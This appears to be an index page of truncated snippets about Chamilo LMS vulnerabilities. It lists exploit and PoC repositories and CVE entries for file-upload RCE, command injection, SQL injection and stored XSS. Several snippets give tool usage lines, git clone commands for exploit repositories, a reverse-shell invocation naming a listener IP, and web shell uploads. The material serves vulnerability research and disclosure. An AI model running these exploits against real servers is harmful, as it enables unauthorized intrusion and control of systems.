CVE-2023-4220_Chamilo_RCE

CVE-2023-4220 针对 Chamilo 无限制文件上传漏洞 - CVE-2023-4220 的 Python 利用脚本 本仓库中的代码仅供教育用途。 描述：Chamilo LMS = v1.11.24 中 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞，允许未认证的攻击者通过上传 Web Shell 执行存储型跨站脚本攻击并获得远程代码执行。 root@kitploit: usage: CVE-2023-2240.py -h -H TARGETHOST -l LHOST -p...

CVE-2023-4220-Chamilo-LMS

Chamilo LMS 未认证大文件上传远程代码执行漏洞 PoC 该脚本允许利用 CVE-2023-4220 所描述的 Chamilo LMS 软件安全漏洞。系统在 1.11.24 之前的版本中存在漏洞。 用法 将仓库克隆到您的计算机并使用 pip 安装依赖项（建议使用 virtualenv 创建一个环境，以将这些安装与全局安装分开） root@kitploit: git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit 这是一个针对 Chamilo LMS 中大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的未限制文件上传漏洞（CVE-2023-4220）的利用程序。受影响版本为 Chamilo LMS = v1.11.24。攻击者可通过上传 Web Shell 获得远程代码执行权限，从而允许任意文件被上传到 /main/inc/lib/javascript/bigupload/files 目录。 漏洞利用演示 你可以首先运行该漏洞利用程序以了解如何使用它：...

Chamilo LMS <= v1.11.20 Unauthenticated Command Injection

Command injection in /main/webservices/additionalwebservices.php in Chamilo LMS = v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. id: CVE-2023-3368 info: name: Chamilo LMS = v1.11.20 Unauthenticated Command Injection...

Chamilo model.ajax.php - SQL Injection

main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter. id: CVE-2021-34187 info: name: Chamilo model.ajax.php - SQL Injection author: DhiyaneshDK severity: critical description: | main/inc/ajax/model.ajax.php in Chamilo...

Chamilo Command Injection

A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11. up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP 帮助： root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL 完整URL地址http/https -f FILE, --file FILE 批量URL文件 -c COMMAND, --command COMMAND 执行命令,可选 示例： root@kitploit: 单个url python3...

chamilo-lms-unauthenticated-rce-poc

Chamilo LMS 未认证 RCE PoC 这是一个用 Python 编写的脚本，用于利用 CVE-2023-4220 中描述的 Chamilo LMS 软件安全漏洞。该系统在 1.11.24 之前的版本中存在此漏洞。 用法 将仓库克隆到你的机器上，并使用 pip 安装依赖项（建议使用 virtualenv 创建独立环境，以便将这些安装与全局安装分开）： root@kitploit: git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc cd...

CVE-2023-34960

CVE-2023-34960 Chamilo 命令注入 带自动上传 shell。 （运用你的逻辑）检查漏洞结果的目录路径，然后你可以找到你的访问 shell wso.php 安装与执行 root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $ pip install -r requirements.txt $ python3 finder.py 注意 更多命令可自行编辑 finder.py 的 第66行 作者 MantodKaz 免责声明！！...

CVE-Chamilo-LMS

CVE Chamilo LMS Colección de CVE Chamilo LMS Donar...

CVE-2026-82535

Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint...

EUVD-2026-76159

Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint...

CVE-2026-82535 Chamilo LMS Stored XSS via Survey Answer Submission in reporting.php

Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint...

CVE-2026-82535

Chamilo LMS versions before 1.11.42 and 3.0.0 contain a stored cross-site scripting (XSS) vulnerability in the survey answer submission flow. Unauthenticated attackers can inject malicious script payloads into survey answers by computing deterministic invitation codes that bypass authorization ch...

CVE-2023-4226

🛠️ CVE-2023-4226 利用工具 for Chamilo LMS 📋 描述 Python 脚本，用于自动化利用 Chamilo LMS （= v1.11.24）中的 CVE-2023-4226 无限制文件上传漏洞。上传基于 PentesterMonkey 的 PHP Web Shell 并配置 .htaccess，以实现 反弹 Shell 。更多详情请参阅：STAR Labs 公告。 🔍 漏洞 产品 ：Chamilo LMS 严重性 ：高（CVSS 3.1: 8.8） 受影响版本 ：= v1.11.24 描述 ：具有学习者角色的用户可通过...

CVE-2023-4220

CVE-2023-4220 PoC Chamilo LMS 未授权大文件上传远程代码执行 此仓库包含针对 CVE-2023-4220 的概念验证（PoC），这是一个影响 Chamilo LMS 的远程代码执行（RCE）漏洞。该漏洞允许未经身份验证的攻击者利用大文件上传功能，在服务器上执行任意代码。 目录 CVE-2023-4220 PoC - Chamilo LMS 未授权大文件上传远程代码执行 目录 漏洞详情 免责声明 摘要 什么是 LMS 什么是 Chamilo 环境要求 使用方法 设置 利用步骤 示例 缓解措施 参考资料 作者 许可证 漏洞详情 CVE ID :...

CVE-2023-4220

CVE-2023-4220 利用 Chamilo LMS 未经身份验证的大文件上传远程代码执行 用法 cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 Payload: 1 ==...

CVE-2023-4220

使用Web Shell对Chamilo LMS CVE-2023-4220进行远程代码执行 本项目自动利用Chamilo LMS中的远程代码执行漏洞（CVE-2023-4220）。通过Web Shell，该工具可自动化利用该漏洞，从而控制受影响的Chamilo LMS实例。 功能： 自动化利用CVE-2023-4220 Web Shell集成 演示漏洞的影响 用法/示例 root@kitploit: ./exploit.py -t http://example.com 截图 免责声明： 此工具仅用于教育目的，并帮助安全专业人员理解和缓解漏洞。未经许可擅自用于系统是非法且不道德的。 🔗 链...

chamilo-lms-unauthenticated-big-upload-rce-poc

Chamilo LMS 未认证大文件上传 RCE PoC 这是一个用 Python 编写的脚本，允许利用 CVE-2023-4220 描述的 Chamilo LMS 软件安全漏洞。该系统的版本在 1.11.24 之前受此漏洞影响。 使用方法 将仓库克隆到本地并安装依赖（建议使用 virtualenv 创建隔离环境，以避免与全局安装冲突）： root@kitploit: git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd...

CVE-2023-4220-exploit

CVE-2023-4220-漏洞利用 Chamilo LMS 版本 = 1.11.24 中，位于 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞，允许未经身份验证的攻击者通过上传 web shell 执行存储型跨站脚本攻击（Stored XSS）并获得远程代码执行。 PoC root@kitploit: bash CVE.2023-4220.sh -f webshell -u URL -l puerto...